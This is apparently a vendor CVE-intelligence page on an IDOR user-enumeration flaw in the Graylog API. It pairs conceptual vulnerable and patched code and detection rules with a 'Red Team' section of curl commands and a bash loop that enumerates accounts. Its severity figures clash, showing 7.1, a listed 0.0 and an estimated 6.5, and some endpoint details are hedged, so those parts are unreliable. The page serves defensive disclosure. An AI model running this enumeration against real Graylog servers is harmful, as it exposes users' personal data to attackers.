☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-1436

CVE-2026-1436 Improper Access Control in Graylog
📅 PUBLISHED: 2026-02-18 13:09 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Spain
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-1436 is an Insecure Direct Object Reference (IDOR) vulnerability in the Graylog API, specifically in version 2.2.3. The flaw resides in the user profile endpoint (/users/<user_id>) where the application fails to perform proper authorization checks when an authenticated user modifies the user ID in the URL. This allows an authenticated attacker to enumerate valid system users and access sensitive information such as names, email addresses, internal identifiers, and last activity timestamps. The vulnerability is classified under CWE-639 (Authorization Bypass Through User-Controlled Key) and maps to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch or advisory has been released by Graylog at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Graylog is a Java-based log management platform distributed via official tarballs, Docker images, and package repositories (APT/YUM). The vulnerable component is the Graylog REST API, which is part of the core server package. Users should verify the integrity of their Graylog installation by checking checksums provided by the vendor. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires an authenticated session.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – The vulnerable component remains the same.
  • Confidentiality (C): High (H) – Sensitive user data is exposed.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires authentication but allows enumeration of all users and access to sensitive personal data. This could be leveraged for social engineering, targeted attacks, or further privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) in the Graylog REST API. The endpoint http://<IP>:12900/users/<user_id> is designed to return user profile information. The application uses the user ID from the URL path to query the database but fails to verify that the requesting user has permission to access that specific user's profile.

Root Cause: The API controller does not implement object-level authorization checks. It only verifies that the request is authenticated (i.e., the user has a valid session token) but does not check if the authenticated user is the owner of the requested profile or has administrative privileges.

Attack Flow:

  1. An attacker authenticates to the Graylog web interface or API with valid credentials.
  2. The attacker captures a legitimate request to /users/<my_user> (e.g., /users/admin).
  3. The attacker modifies the user ID in the URL to another value (e.g., /users/john.doe).
  4. The server returns the profile data for john.doe without any authorization check.
  5. The attacker can iterate through user IDs (e.g., using a wordlist or sequential IDs) to enumerate all users and extract sensitive information.

Affected Endpoint: GET /api/users/{user_id} (or similar) on port 12900.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java/Spring Boot):

@RestController
@RequestMapping("/api/users")
public class UserController {

    @GetMapping("/{userId}")
    public ResponseEntity<UserProfile> getUserProfile(@PathVariable String userId) {
        // Missing authorization check
        UserProfile profile = userService.getUserProfile(userId);
        return ResponseEntity.ok(profile);
    }
}

Patched Code (Conceptual):

@RestController
@RequestMapping("/api/users")
public class UserController {

    @GetMapping("/{userId}")
    public ResponseEntity<UserProfile> getUserProfile(@PathVariable String userId, 
                                                      @AuthenticationPrincipal User currentUser) {
        // Authorization check: only allow if the user is the owner or an admin
        if (!currentUser.getId().equals(userId) && !currentUser.isAdmin()) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
        }
        UserProfile profile = userService.getUserProfile(userId);
        return ResponseEntity.ok(profile);
    }
}

Key Differences:

  • The patched version retrieves the authenticated user from the security context.
  • It compares the requested userId with the authenticated user's ID.
  • It also checks for administrative privileges to allow authorized access.
  • If neither condition is met, it returns a 403 Forbidden response.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A valid Graylog user account (any role).
  • Network access to the Graylog API on port 12900.
  • A tool like curl, Burp Suite, or a custom script.

Exploitation Steps:

  1. Authenticate and obtain a session token:

    curl -X POST http://<target>:12900/api/login \
      -H "Content-Type: application/json" \
      -d '{"username":"attacker","password":"password123"}'
    

    Note: The exact login endpoint may vary. Graylog typically uses /api/login or /api/system/sessions.

  2. Extract the session token from the response (e.g., JSESSIONID or Bearer token).

  3. Enumerate users by modifying the user ID:

    curl -X GET http://<target>:12900/api/users/admin \
      -H "Cookie: JSESSIONID=...;"
    

    Then try other IDs:

    curl -X GET http://<target>:12900/api/users/john.doe \
      -H "Cookie: JSESSIONID=...;"
    
  4. Automate enumeration with a script:

    #!/bin/bash
    TARGET="http://<target>:12900"
    COOKIE="JSESSIONID=..."
    for user in $(cat usernames.txt); do
      response=$(curl -s -o /dev/null -w "%{http_code}" -X GET "$TARGET/api/users/$user" -H "Cookie: $COOKIE")
      if [ "$response" == "200" ]; then
        echo "User found: $user"
        curl -s -X GET "$TARGET/api/users/$user" -H "Cookie: $COOKIE"
      fi
    done
    

Expected Output:

{
  "username": "john.doe",
  "email": "john.doe@example.com",
  "full_name": "John Doe",
  "id": "5f8c9a2b1c3d4e5f6a7b8c9d",
  "last_activity": "2026-03-15T10:30:00Z"
}

Blue Team (Defensive)

Detection:

  • Monitor for repeated 200 OK responses to /api/users/* from a single authenticated session.
  • Alert on access to user profiles that are not the authenticated user's own profile.
  • Look for patterns of sequential or brute-forced user IDs in API logs.

Hunting:

  • Query Graylog's own audit logs (if enabled) for GET /api/users/* requests.
  • Correlate with authentication logs to identify the requesting user.
  • Check for anomalous access times or IP addresses.

Prevention:

  • Implement proper authorization checks as shown in the patched code.
  • Use a Web Application Firewall (WAF) to block requests with modified user IDs.
  • Enforce the principle of least privilege for API access.
  • Enable Graylog's built-in audit logging and monitor for suspicious activity.

Indicators of Compromise (IOCs)

Type Indicator Description
Network GET /api/users/* with 200 OK Successful IDOR exploitation
Network Sequential user IDs in URL path Enumeration attempt
Log Multiple 200 responses to /api/users/ from same session User enumeration
Log Access to /api/users/ by non-admin user Policy violation
File Graylog server logs showing repeated user profile requests Evidence of scanning

Detection Engineering

YARA Rule

rule graylog_idor_exploitation {
    meta:
        description = "Detects Graylog IDOR exploitation attempts in API logs"
        author = "Valters IT"
        date = "2026-03-15"
        reference = "CVE-2026-1436"
    strings:
        $method = "GET"
        $path = "/api/users/"
        $status = "200"
    condition:
        $method at 0 and $path and $status
}

Sigma Rule

title: Graylog IDOR Exploitation - User Enumeration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to enumerate Graylog users via IDOR vulnerability
author: Valters IT
date: 2026-03-15
logsource:
    category: webserver
    product: graylog
detection:
    selection:
        http.method: 'GET'
        http.url|startswith: '/api/users/'
        http.response.status_code: 200
    filter:
        http.url|endswith: '/api/users/me'  # Exclude self-profile access
    condition: selection and not filter
falsepositives:
    - Legitimate admin access to user profiles
level: medium
tags:
    - attack.t1190
    - cve.2026.1436

Suricata Rule

alert http any any -> any 12900 (msg:"CVE-2026-1436 Graylog IDOR User Enumeration"; flow:to_server,established; content:"GET"; http_method; content:"/api/users/"; http_uri; pcre:"/\/api\/users\/(?!me)[a-zA-Z0-9._-]+$/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Graylog to the latest version if a patch is released. Check the official Graylog website and GitHub releases.
  2. Apply a virtual patch using a WAF to block requests to /api/users/* that do not match the authenticated user's ID.
  3. Restrict API access to trusted IP addresses or networks using firewall rules.
  4. Disable the vulnerable endpoint if not required, by modifying the Graylog configuration or using a reverse proxy.

Long-term Fixes:

  • Implement proper object-level authorization checks in the API controller.
  • Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.
  • Enable and monitor Graylog's audit logging to detect unauthorized access attempts.
  • Follow the principle of least privilege for all user roles.

Workaround:

  • If upgrading is not possible, use a reverse proxy (e.g., Nginx) to rewrite requests and enforce authorization:
    location /api/users/ {
        if ($request_uri !~ "^/api/users/me") {
            return 403;
        }
        proxy_pass http://graylog_backend:12900;
    }
    

This report was generated by Valters IT DevSecOps & CTI Expert System.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-1436/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.